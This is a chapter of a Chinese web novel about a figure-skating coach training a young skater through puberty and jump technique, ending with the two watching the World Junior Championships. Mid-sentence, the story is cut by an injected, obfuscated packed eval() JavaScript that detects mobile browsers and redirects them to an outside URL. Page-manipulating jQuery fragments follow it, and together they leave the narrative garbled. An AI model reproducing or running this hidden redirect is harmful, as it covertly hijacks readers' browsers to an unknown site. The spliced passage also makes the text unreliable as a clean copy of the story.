7. 发育

作品:《金牌教练【花滑】

    “啪——”


    杨依雁又一次摔在冰上,颤着腿爬起来,眼圈通红,不服输地再次起跳。


    修改已经刻在骨子里的动作和脱骨重生没什么区别,改盘腿的代价就是重新寻找跳跃的感觉和轴。


    夏月姿站在冰场外,及时喊停:“小雁,今天的训练够了。”


    这段时间已经把她原本的盘腿技术基本纠了回来,四十组三周跳,以标准姿势落冰的次数在十五次左右。


    杨依雁双腿发软,几乎是拖着身体走到长椅旁坐下。她撸起裤子,小腿和膝盖上布满或青或紫的淤青,有的地方还被冰面磨出了血。


    夏月姿拿着沾过碘伏的棉签涂在伤口处,听到杨依雁疼得倒吸气,用另一只手给她轻轻扇风。


    “等盘腿完全掰过来了,我们就开始练三三。”


    打一棍子给个甜枣的道理夏月姿还是明白的,小姑娘早就想往高难度冲了,肌肉也够。


    不出夏月姿所料,听到这话的杨依雁立刻恢复到了活力满满的状态,恨不得休息好了就开始练习。


    然而,真到了练习三三连跳的时候,又不是那么回事了。


    夏月姿揉着太阳穴,站在冰场外,简直不敢相信自己的眼睛。


    那个起跳待机时间巨长,硬生生把滑速拖没导致第二跳3T只能干拔还严重缺周的姑娘,真的是她那位以滑速和转速出名的徒弟吗?


    不会跟她一样也被换了芯吧?


    杨依雁有些心虚地往教练站着的方向瞄了一眼,默默滑了过去。一个跳跃成不成功,运动员心里是最清楚的。


    她也不想这样的,明明陆地训练十分顺利,怎么到了冰上就哪哪都不对劲。


    “说吧,这次又是什么毛病。”夏月姿已经见怪不怪了,她的首席弟子总是能给她扯出千奇百怪的理由。


    杨依雁挠挠后脑勺,有些羞于启齿:“跳得不顺脚。”


    “右脚落冰的瞬间左脚点冰,这有什么不顺脚的,而且你连2T不连得挺好吗,怎么到了三周就不行了?”


    夏月姿不仅难以理解还有些烦躁,随后又想到了什么,盯着杨依雁被黑色训练服包裹的双腿,大腿肌肉跟刚见到她的时候相比,已经完全不是一个等级。


    她声音有些抖:“不连T,连lo,用你最擅长的3lo连跳,能跳多高跳多高。”


    杨依雁“啊”了一声,又向后滑去,主打一个不理解但照做。


    花滑史上确实出现过不太会连3T,但很擅长连3lo的奇葩选手,有一个算一个都是刃跳抬脚就来,甚至在巅峰时期手握超C。


    即使夏月姿知道她很擅长lo也根本没往这方面想,因为那毕竟是少数人,而且国内也从来没出过这种例子。


    看到杨依雁迅速腾空,在落冰时又将身体往上带,一个极其漂亮的3lo+3lo成功落下。


    要说有什么不足,大概是第二跳缺了60度左右,如果裁判严格,给个q也不是不可能,不过对于从未在冰上练习过的杨依雁来说,这个连跳已经足够好了。


    夏月姿扶着护栏,尽可能地控制着自己的身体,不让自己失态。


    一开始,她对杨依雁的目标只是平稳度过发育关和集齐五种三周跳,这在现在这个时代已经足够用了,可现在,她可以往前再迈一步。


    她不仅要帮要杨依雁渡过发育关,还要让她练出3A,去挑战四周。


    杨依雁跳完后倒是没什么表情,淡得好像只是吃了一碗饭而已。


    她滑回去,看着教练面色复杂,伸手拉了下夏月姿的袖口:“教练,你脸色怎么这么差?”


    “你偷偷练过。”夏月姿说得肯定。


    杨依雁的眼神四处乱飘,被夏月姿拍了后背,才拿出她人畜无害的笑容,想蒙混过关:“我发誓我没有偷偷上冰,就是在陆地空转的时候做的。”


    夏月姿摆出一副“我信你的话才有鬼”的表情,又往她背上招呼一下:“下次不许一个人上冰,摔了都没人知道。”


    杨依雁吐了吐舌头,她是跟朋友一起在家附近的商业冰场玩的,并不算独自上冰。


    但这话她可不敢跟夏月姿讲。


    确定杨依雁的跳跃天赋后,夏月姿重新更改了她的训练方向,每天还加了一组负重训练。


    因为杨母告诉她,杨依雁来了初潮。


    女性的月经初潮一般在十二岁左右,而女运动员长期遭受抑制发育的训练,这也导致她们的初潮来得晚一些,发育期也比普通女生更加猛烈漫长。


    最重要的一点是,初潮的第一年,是女性身高猛蹿的时期。


    夏月姿当年就在一个月内往上蹿了近五公分,吓得李潭整宿整宿睡不着,好在第二年就稳定了下来。


    上辈子她和杨依雁的交集并不多,依稀记得杨依雁的身高没有特别夸张,她还特地找队医要了最新的骨龄测试,上面预测杨依雁未来的身高是一米六三。


    女单选手一向是越矮越好,一米五几的身高最受青睐,这意味着底盘低,重心低,跳跃做得更稳当。


    但找对了方法,也能顺利滑下去。


    毕竟夏月姿在赛场上见过不少身高突破一米七的大高个五种三周都全,有些天赋异禀的还能跳超C。


    杨依雁扛着哑铃做完五组负重深蹲后,乖乖靠墙站立,让教练拿着尺子比划身高。


    150.2公分,比上个月长了两公分。


    夏月姿把数据记录在笔记本上,旁边还有小姑娘的体重和体脂变化,一边记一边嘱咐:“还好,没涨多少,后面要是膝盖疼记得跟我说。”


    杨依雁抹了把额头上的汗水,乖乖应下,坐在椅子上喝着热水。


    一旁的女教练孟欣也带女单,她悄悄凑到夏月姿旁边,小声提醒:“小雁已经开始发育了,你真不让她节食,还练得这么猛。”


    杨依雁进入发育期的事不是秘密,但夏月姿并没有过度控制她的饮食,每次去食堂,都能听到其他教练窃窃私语,弄得小姑娘不敢多吃。


    就连李潭都来找过她,委婉地劝过几句。


    夏月姿认出了她,是和原主同一时间进队的新教练。孟欣是双人滑出身,对体重的要求比女单还要苛刻,因为她们不仅要考虑自身难度,还要考虑男伴能不能把她们抛起来。


    要是运气好,碰上了人高马大的男伴就不说什么了,但要是遇上个肌无力的,就只能从自己的体重下手了。


    她知道孟欣没什么恶意,只是单纯提醒她。别说现在了,哪怕是十五年后都有不少女单是靠一个“饿”字挨过发育关的,厌食症患者更是不胜枚举。


    夏月姿冲她一笑,依旧坚持自己的理念:“我还是认为发育前适当练习力量,这样才不至于丢难度丢得太猛。”


    孟欣微微皱眉,见夏月姿极其坚定,张了张嘴还是没说。


    每位教练的执教理念和方式都不一样,她已经提醒过了,既然对方不认同,那她也不能再说什么,毕竟杨依雁不是她的学生,她不能管太多。


    她转头看向柱子旁拉着阻力带练习的女孩,脸上愁云密布。


    尹云蓉今年十三岁,是跟她最久的学生,也到了发育最猛的时期,整个人肉眼可见地大了一圈,连上个赛季的考斯滕都穿不上了。


    今年


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621612|172271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一年,尹云蓉几乎没吃过一顿饱饭,可难度还是一个接一个地往外丢,伤病也接踵而至,青年组分站赛上三三连跳只敢上一个3T+3T,那是她的铁板跳跃。


    最要命的是,尹云蓉的家人舍不得孩子再这么吃苦受罪,她妈妈更是直接放话,要是这个赛季结束前还不能改善,就让孩子退役。


    孟欣默默瞥向坐在椅子上的师徒两人,叹了口气将目光收回。


    ………………


    省队办公室里,夏月姿打开电脑观看本赛季最后一场青年组国际赛事——世青赛,杨依雁就坐在她旁边抱着酸奶吸。


    她身上穿着宽大校服,马尾高高扎起,垂下的部分已经到了肩胛骨的位置,目前的身高已经接近154公分。


    本届世青赛上场的华国选手里,只有一对双人滑出自北京队,其他选手均来自东三省,足以证明东北地区在冰雪项目上的强势。


    现在正在播放的是女单赛事,其中最受欢迎的是来自俄罗斯的柳波芙,在上个赛季达成了青年组大满贯,她将在最后一位出场。


    紧随其后的就是日本选手梦川里亚和美国选手妮娜,她们是第一次出来比国际赛,但都闯进了青年组大奖赛总决赛。


    尤其是梦川里亚,虽然没有3A储备,但她已经掌握了3lz+3lo这种现役女单难度天花板的技术,更是凭借这个跳跃踩着柳波芙拿到了总决赛的金牌。


    “小雁,看清楚了,这都是你以后的对手。”


    夏月姿是13、14两届世青赛的选手,对于屏幕里的这些运动员可以说是很熟悉了,给小姑娘当解说完全没问题,要是遇上眼熟点的选手,还能展开说说。


    杨依雁奶都不喝了,一度以为是自家教练做足了功课,听得比学校上课还认真。


    华国两位女单选手都在第二组上场,杨依雁在全锦见过她们,难度跟她差不多,只是发挥不稳定。


    两位女单似乎卯足了劲想往前冲,短节目发挥十分出色,分数都在四十多,不仅全部挺进自由滑,有一个还排进了前十五。


    两人参赛的情况下,如果名次相加小于等于13,下赛季可以拿满三个世青名额;如果名次相加小于等于28,则是两个名额。


    夏月姿算了算,要是两位前辈自由滑也能保持这个水平,两个名额虽然有些困难,但也不是做不到。


    最后一组出场的时候,观众的呼喊声让夏月姿主动调小了电脑声音。


    趁着六练,她给杨依雁介绍这六位选手,末了还加了一句:“看到没,这就是国际比赛,聚集了全世界的冰迷。”


    此时摄像机正往观众席上拉远景,屏幕上显示出各个国家的国旗,对于混在其中的热门花滑选手的个人应援旗,摄影师也是非常慷慨地给了特写。


    “教练,有一天我的照片也会被印在上面吗?”杨依雁看着屏幕,眼里的羡慕都快溢出来了。


    夏月姿摸了摸她的头,坚定地说:“当然,如果你成为了她们那样的选手,也会有很多忠实的冰迷。”


    杨依雁眼里的光随着最后一组比赛的不断进行越来越亮,在看到梦川里亚的成绩排名第一时,光芒更是到达了巅峰。


    现在最受裁判青睐的选手都来自欧美,至于东亚三国,还手拉手在表演分的泥潭里挣扎着,亲眼看到黄种人在比赛里打赢白种人,杨依雁受到的激励可不是能用言语形容的。


    夏月姿倒是见怪不怪了,要知道,梦川里亚可是在索契差点拿到金牌的选手。


    她看向杨依雁,嘴角不自觉地向上扬。


    两个顶级刃跳选手的碰撞,不知道谁会更胜一筹。